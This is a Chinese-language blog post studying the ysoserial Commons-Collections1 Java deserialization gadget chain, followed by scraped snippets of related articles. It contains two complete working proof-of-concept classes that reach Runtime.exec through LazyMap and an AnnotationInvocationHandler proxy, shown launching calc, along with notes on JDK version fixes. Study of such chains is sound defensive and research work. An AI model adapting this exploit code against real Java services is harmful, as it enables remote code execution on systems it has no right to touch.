浅谈 yso的 Commons-Collections1 (cc1)反序列化链 如何手写这条链子
yso的cc1
ysoserial/src/main/java/ysoserial/payloads at master · frohoff/ysoserial (github.com)
这里面找
poc
package org.apache.commons.collections;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class ccone {public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstruct.setAccessible(true);InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, lazyMap);Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);annotationInvocationHandlerConstruct.setAccessible(true);Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, proxy);serialize(o);unserialize("ser.bin");}
}
调试一下发现用到了lazymap,这个在前面找transform的时候又看见过
在这个lazymap中找到了transform
在一个get方法里面
如果整条链子去分析的话,可以得到这样的流程
如何手写呢?
简单分析
上面是cc1
下面是cc6
poc
package org.apache.commons.collections;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class ccone {public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value", "aaa");Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstruct.setAccessible(true);InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, mapProxy);serialize(o);unserialize("ser.bin");}
}
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
里面动态代理这个地方也可以序列化,因为有实现序列化的接口,事实上所有代理都是继承自Proxy,都可以序列化,由于它序列化的和别人不太一样,这里就不展开了
版本问题
之前cc1提到过:
重新下了个jdk8u65后接着奏乐接着舞
按照视频所说,应该可以返回去找到AnnotationInvocationHandler.readObject,很可惜我找不到,所以只能先写demo然后进去调试
最后调试的时候可以看到:
AnnotationInvocationHandler.readObject确实调用了setValue,
如果换作高版本jdk(jdk11)
会发现在AnnotationInvocationHandler确实找不到setValue,这其实是官方的一个修复,在jdk8u7几就修复了
浅谈 yso的 Commons-Collections1 (cc1)反序列化链 如何手写这条链子相关推荐
- c语言 ipc 参数 序列化,浅谈IPC通信之序列化与反序列化(三)
由于进行通信肯定要涉及数据的处理,所以我们需要先了解两个基础的概念,序列化和反序列化. 定义 序列化:将对象转化为可保存的字节序列(注意是对象): 反序列:将字节序列恢复为对象的过程. 序列化和反序列 ...
- 浅谈C#中的序列化和反序列化
一.序列化和反序列化的概念 序列化:序列化是将对象转换为可保持或传输的格式的过程,比如转化为二进制.xml.json等的过程. 反序列化:与序列化相对的是反序列化,它将流转换为对象,也就是将在序列化过 ...
- 浅谈最近流行的三起区块链51%算力攻击
很多人可能早就听说过 51% 算力攻击,但更多的可能源于各种媒体渠道中"比特币的缺陷"文章之流.实际上,这个说法并不准确,根据比特币百科上所描述,这种攻击被称为多数人的攻击(Maj ...
- 浅谈(chain of responsibility)责任链模式
一.前言 责任链(chain of responsibility)模式很像异常的捕获和处理,当一个问题发生的时候,当前对象看一下自己是否能够处理,不能的话将问题抛给自己的上级去处理,但是要注意这里的上 ...
- 【TensorFlow】TensorFlow从浅入深系列之三 -- 教你如何对MNIST手写识别
本文是<TensorFlow从浅入深>系列之第3篇 TensorFlow从浅入深系列之一 -- 教你如何设置学习率(指数衰减法) TensorFlow从浅入深系列之二 -- 教你通过思维导 ...
- 成长经历:浅谈OSINT认知
浅谈OSINT认知 这篇文章也是我第一次写blog,有问题请大家还多多包容. 前言 OSINT这个词是在和一群大佬们的聊天过程中得知的,当时觉得这个陌生的名词好酷,或许对将来从事"h ...
- aes key长度_原创 | 浅谈Shiro反序列化获取Key的几种方式
点击"关注"了解更多信息 关于Apache Shiro反序列化 在shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露, ...
- rails 调用php函数_潜藏在PHP安全的边缘——浅谈PHP反序列化漏洞
潜藏在PHP安全的边缘--浅谈PHP反序列化漏洞 注意事项:1.本篇文章由复眼小组的瞳话原创,未经允许禁止转载2.本文一共1376字,8张图,预计阅读时间6分钟3.本文比较基础,请大佬酌情观看,如果有 ...
- php反序列化绕过,浅谈php反序列化漏洞
关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...
最新文章
- Fedora 提出统一流程,弃用上千 Python 2 软件包更可控
- Python+Django+Nginx+Uwsgi 详细部署过程(爬坑过程,可以了解各个软件的执行流程,看过)
- python zipfile 文件压缩和文件
- java三层架构项目事例_三层架构实例
- js方式调用php_javascript调用PHP和PHP调用javascript的方法
- 甲骨文宣布供应链管理云平台支持LogFire仓库管理系统
- map java 初始化赋值_Java 中 HashMap 初始化时赋值(示例代码)
- 简单聊一聊PRINCE2与PMP的区别
- 一个非常好用的代理服务器软件AllegroSurf
- 第二届ATI获奖自动化测试工具介绍
- 计算机出现蓝屏怎么恢复,电脑蓝屏怎么解决,小编教你如何恢复正常
- OSN1800V OSN1800II OSN1800I 华为全新原包装分组增强型多业务光传送平台
- 4、c++头文件、源文件使用小记
- 【转】谢帅同学做的——柔软的canvas时钟
- java获取异常信息
- 80老翁谈人生(314):别了,亲爱的CSDN读者朋友们!
- 《数据库原理与应用》马春梅 禹继国 黄宝贵 祝永志 编著 P30 六个表的实现
- Intellij IDEA中使用git命令窗口
- 软件需求分析复习要点
- 推荐系统论文笔记(1):Hybrid Recommender Systems:Survey and Experiments